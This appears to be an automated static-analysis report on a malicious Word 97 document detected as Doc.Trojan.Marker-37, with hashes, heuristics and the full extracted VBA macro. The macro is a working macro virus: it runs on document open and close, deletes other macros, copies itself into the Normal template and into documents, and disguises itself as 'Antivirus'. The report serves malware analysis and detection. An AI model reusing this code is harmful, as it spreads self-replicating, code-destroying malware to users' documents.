Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fcde573c06580695…

MALICIOUS

Office (OLE)

45.5 KB Created: 1997-09-17 10:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: fe31193401e9863460a34274e5b278a8 SHA-1: 516108d49346205135590e9a3c1b7ca33e08ef95 SHA-256: fcde573c06580695ab5422fa37db243715dc72e37496aea49f3bee9a64aeca19
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file contains VBA macros, specifically a Document_Open macro, which is a common technique for malicious documents. The macro's code appears to be designed to manipulate or delete other macros, possibly as a form of evasion or to clear the way for further malicious actions. The ClamAV detection as 'Doc.Trojan.Marker-37' further supports its malicious nature.

Heuristics 3

  • ClamAV: Doc.Trojan.Marker-37 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-37
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3547 bytes
SHA-256: 13e001b2bd2b82f2f8bc00fc0f22dddadccc8afc86ff89fb54ae9fd745a65e81
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
'Created by Giant
'MacroVirus Destroyer V. 1.00
'"<- this is a marker!  Jonhehehe@ho####.com"
KillEmAll
End Sub
Private Sub KillEmAll()
Dim ADInfectedByMe As Boolean
  Dim i, j As Integer
  ADInfectedByMe = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Find("Hasta La Vista", 1, 1, 100, 300)
   j = 1
   For Each Obj In NormalTemplate.VBProject.VBComponents
        i = NormalTemplate.VBProject.VBComponents.Item(j).CodeModule.CountOfLines
        If Obj.Name <> "ThisDocument" Then
            Application.StatusBar = "Deleting " + Obj.Name + _
            " Macro in Your Document..."
            NormalTemplate.VBProject.VBComponents.Item(j).CodeModule.DeleteLines 1, i
        End If
      j = j + 1
      Application.StatusBar = "MacroVirus Destroyer V. 1.00"
    Next Obj
        j = 1
        For Each Obj In ActiveDocument.VBProject.VBComponents
        If Obj.Name <> "ThisDocument" Then
          i = ActiveDocument.VBProject.VBComponents.Item(j).CodeModule.CountOfLines
          Application.StatusBar = "Hasta La Vista " + Obj.Name + _
          " See yaa..."
          ActiveDocument.VBProject.VBComponents.Item(j).CodeModule.DeleteLines 1, i
        End If
        j = j + 1
      Next Obj
     If Not (ADInfectedByMe) Then
       i = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
       ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, i
       AutoCopyToDoc
     End If
  End Sub
Private Sub Document_Close()
Dim NInfectedByMe As Boolean
On Error Resume Next
NInfectedByMe = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Find("Hasta La Vista", 1, 1, 100, 300)
If Not (NInfectedByMe) Then
  AutoCopyToNormal
End If
KillEmAll
End Sub
Private Sub AutoCopyToNormal()
Dim InfectedByMe As Boolean, Baris, B, i As Integer, s As Object
InfectedByMe = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Find("Hasta La Vista", 1, 1, 100, 300)
If Not (InfectedByMe) Then
 Baris = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
 Set s = ActiveDocument.VBProject.VBComponents.Item(1)
 Application.StatusBar = "Copying Antivirus Macro to Normal Template"
 B = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
 NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, B
 NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.AddFromString s.CodeModule.lines(1, Baris)
 NormalTemplate.Save
 End If
End Sub

Private Sub AutoCopyToDoc()
Dim InfectedByMe As Boolean, Baris, B As Integer, s As Object
InfectedByMe = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Find("Hasta La Vista", 1, 1, 100, 300)
If Not (InfectedByMe) Then
 Baris = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
 Set s = NormalTemplate.VBProject.VBComponents.Item(1)
 Application.StatusBar = "Copying Antivirus Macro to Document"
 B = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
 ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, B
 ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.AddFromString s.CodeModule.lines(1, Baris)
End If
End Sub